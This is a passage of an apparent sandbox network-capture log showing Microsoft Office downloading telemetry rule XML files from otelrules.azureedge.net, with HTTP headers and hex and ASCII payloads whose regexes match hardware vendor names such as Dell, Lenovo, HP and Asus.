2024-11-19 21:06:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:55 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: e579fe48-a01e-001e-648c-3a49ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210655Z-1777c6cb754g9zd5hC1TEBfvpw00000008q000000000pw78 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:56 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.4	49743	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:56 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:56 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 3126d9de-f01e-0099-4d8c-3a9171000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210656Z-1777c6cb754n67brhC1TEBcp9c00000008kg00000000swas x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:56 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.4	49745	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:56 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:56 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1e988f1d-b01e-0070-1b8c-3a1cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210656Z-1777c6cb754whff4hC1TEBcd6c00000007c0000000000q2g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:56 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.4	49744	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:56 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:56 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:56 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: bfe6cc7a-201e-006e-7e8c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210656Z-r1d97b995777mdbwhC1TEBezag00000007x0000000006uaz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:56 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49746	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:56 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:56 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 70a275ef-201e-0051-048c-3a7340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210656Z-1777c6cb754wcxkwhC1TEB3c6w00000008k000000000axrt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:56 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49747	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:56 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:56 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 7f65a9a1-801e-0067-788c-3afe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210656Z-r1d97b99577dd2gchC1TEBz5ys00000007ng00000000nqu3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:56 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49748	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:56 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:56 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 79148a84-101e-0017-578c-3a47c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210656Z-r1d97b99577jlrkbhC1TEBq8d000000007ug000000006t66 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:56 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49749	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:56 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:56 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:56 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210656Z-r1d97b99577d6qrbhC1TEBux5s00000007zg00000000f7hf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:56 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49752	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:56 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:57 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:57 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210657Z-r1d97b9957744xz5hC1TEB5bf800000007t000000000at0y x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:57 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49751	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:56 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:57 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210657Z-r1d97b99577ndm4rhC1TEBf0ps00000007z000000000e42a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:57 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49750	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:56 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:57 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210657Z-r1d97b995774zjnrhC1TEBv1ww00000007rg00000000qf3m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:57 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49753	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:06:57 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:06:57 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:06:57 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 7511ce5b-801e-0083-468c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210657Z-1777c6cb754xjpthhC1TEBexs800000008eg00000000fhk9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:06:57 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49754	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
